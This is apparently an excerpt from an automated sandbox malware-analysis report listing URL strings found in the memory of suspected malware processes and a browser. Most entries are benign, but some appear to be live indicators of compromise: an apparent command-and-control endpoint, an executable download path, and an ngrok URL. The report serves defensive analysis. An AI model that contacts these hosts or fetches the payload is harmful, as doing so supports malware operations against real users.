Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000C37000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206KKJ
Source: 643ebf15b8.exe, 0000000F.00000002.3407023112.0000000000B54000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid001Y
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.3707159436.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.3707159436.0000000000B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php%
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php001
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php939001
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedX%
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58987e8e4f4b2846d934f48b15eaa495c49###
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760=
Source: skotes.exe, 0000000B.00000002.3707159436.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623~
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000021.00000003.3332217869.0000025D8D386000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3497319782.0000025D8D01D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000021.00000002.3505039638.0000025D8D378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000021.00000002.3505039638.0000025D8D378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEA93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timesP5
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEA93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsp
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEA93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000021.00000002.3559125760.0000025DFAB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 00000021.00000002.3392665978.0000025D8ADC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3667959495.000002610003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3396701780.0000025D8B0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3551113866.0000025D936A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3534420467.0000025D8EB79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3254241150.0000025D8A6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3512613594.0000025D8E237000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3498390489.0000025D8D15D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/mod
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjsget
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000021.00000002.3526237838.0000025D8E503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3505039638.0000025D8D318000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3498390489.0000025D8D15D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:scope
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulC
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/places/browser
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/locale/contentAreaComma
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-notifi
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-tabs-s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3473883163.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 48f66b117f.exe, 0000000E.00000003.3131388337.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3322820754.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C74D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3536912868.0000025D8EC9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/VALIDATE_ONCE_PER_SESSIONapp-background-update-off
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: 9bf3542ba6.exe, 00000011.00000003.3258080949.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, 9bf3542ba6.exe, 00000011.00000002.3260747365.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, 9bf3542ba6.exe, 00000011.00000003.3256809046.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, 9bf3542ba6.exe, 00000011.00000003.3255956324.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, 9bf3542ba6.exe, 00000011.00000003.3257322088.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3530819711.0000025D8E925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000021.00000002.3557108125.0000025DFA929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000021.00000002.3488488778.0000025D8C905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C7A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000021.00000003.3329512763.0000025D935FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3497319782.0000025D8D01D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000021.00000003.3329512763.0000025D935FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000021.00000003.3329512763.0000025D935FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/0
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000021.00000002.3539463660.0000025D8EFA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://baidu.com
Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3328748124.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3353725558.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3354939796.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 00000021.00000002.3494983323.0000025D8CD39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/content/browser-fullScreenAndPo
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000021.00000002.3551113866.0000025D93661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3328748124.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
